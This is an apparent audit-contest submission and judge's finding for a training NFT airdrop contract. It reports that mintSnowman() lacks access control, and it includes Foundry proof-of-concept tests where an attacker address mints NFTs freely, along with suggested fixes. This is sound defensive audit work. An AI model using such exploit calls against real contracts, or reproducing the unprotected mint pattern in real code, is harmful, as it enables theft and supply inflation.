Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Snowman::mintSnowman() has no access control, allowing any address to mint unlimited NFTs for free

Root + Impact

Description

  • Snowman NFTs should only be mintable through SnowmanAirdrop::claimSnowman() after a user has passed the Merkle Proof Verification.

  • mintSnowman()has no access control whatsoever, no onlyOwner check and no restriction tying the caller to the SnowmanAirdropcontract. Any address, a receiver, can call it directly and mint any number, amount, of NFTs for free without being eligible.

@> function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood: High

  • Any address can call mintSnowman() directly, at any point after deployment, with no preconditions and no dependency on holding Snow tokens or being part of the Merkle tree. This exploit requires nothing beyond a single transaction.

  • The exploit does not require the user to go through the protocol's intended flow. It requires no capital and no interaction with Snowor SnowmanAirdrop at all so an attacker can succeed on their very first transaction with a new wallet.

Impact:

  • There is a complete unbounded bypass of the intended stake to claim flow. Any address can mint an arbitrary number of Snowman NFTs for free, with no cost beyond the gas needed for the transaction. This completely undermines the protocol's staking/allocation mechanism

  • Since amount and receiver are both fully controlled by the attcker with no cap, this permanently corrupts the integrity of the NFT supply since legitimate holder's allocations become diluted by unlimited illegitimate mints.

Proof of Concept

function testUnauthorizedMintBypassesStakeToClaimFlow() public {
// This is an attacker that has not interacted with the protocol and does not own snow tokens so is not eligible to claim nfts from the airdrop contract.
address attacker = makeAddr("attacker");
assert(nft.balanceOf(attacker) == 0);
// Yet they can mint directly, with zero eligibility, zero relationship to the protocol's staking/claim mechanism
vm.prank(attacker);
nft.mintSnowman(attacker, 5);
assert(nft.balanceOf(attacker) == 5);
assert(nft.ownerOf(0) == attacker);
}

This test demonstrates that attacker an address with no prior interaction with the protocol or snow balance can call mintSnowman directly and mint an arbitrary number of nfts.

Running forge test --mt testUnauthorizedMintBypassesStakeToClaimFlow confirms this passes, proving the vulnerability can be exploited with a single unauthenticated call
This finding was additionally confirmed via stateful invariant fuzzing.

The invariant InvariantMintAccessControl::invariant_supplyOnlyGrowsViaLegitimateClaims asserts that Snowman's on-chain token supply should never exceed the number of successful, legitimate claims tracked through SnowmanAirdrop::claimSnowman().

function invariant_supplyOnlyGrowsViaLegitimateClaims() public view {
assertLe(
nft.getTokenCounter(),
handler.legitimateMintCount(),
"Snowman supply grew beyond what legitimate claimSnowman() calls account for"
);
}

legitimateMintCount is tracked by a companion handler contract and incremented only when a claim succeeds through the legitimate SnowmanAirdrop::claimSnowman() path and never by direct calls to mintSnowman().
The invariant therefore fails the moment Snowmans real onchain supply exceeds the number of legitimate claims

Recommended Mitigation

Since Snowman is deployed before SnowmanAirdrop in the current deployment script (Helper.s.sol), SnowmanAirdrop's address cannot be known at Snowman's construction time, ruling out a simple immutable field set directly in the constructor.
This mitigation instead adds a one-time, owner-only setter, setAirdropContract(), to be called immediately after SnowmanAirdrop is deployed. The s_airdropContractSet flag ensures this setter can only ever be called once, preventing the owner (or an attacker who somehow compromises the owner key) from later redirecting mintSnowman()'s trusted caller to a different, malicious address.
Once set, mintSnowman() is restricted via the onlyAirdrop modifier to calls originating only from that address, reusing the SM__NotAllowed() error that was already declared in the contract but previously unused — closing the exact gap identified in this finding while preserving the fully permissionless nature of legitimate claims through SnowmanAirdrop::claimSnowman().

+ address private s_airdropContract;
+ bool private s_airdropContractSet;
+ error SM__AirdropAlreadySet();
+ modifier onlyAirdrop() {
+ if (msg.sender != s_airdropContract) revert SM__NotAllowed();
+ _;
+ }
+ // Callable once by the owner, after SnowmanAirdrop has been deployed
+ function setAirdropContract(address _airdropContract) external onlyOwner {
+ if (s_airdropContractSet) revert SM__AirdropAlreadySet();
+ if (_airdropContract == address(0)) revert SM__NotAllowed();
+ s_airdropContract = _airdropContract;
+ s_airdropContractSet = true;
+ }
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!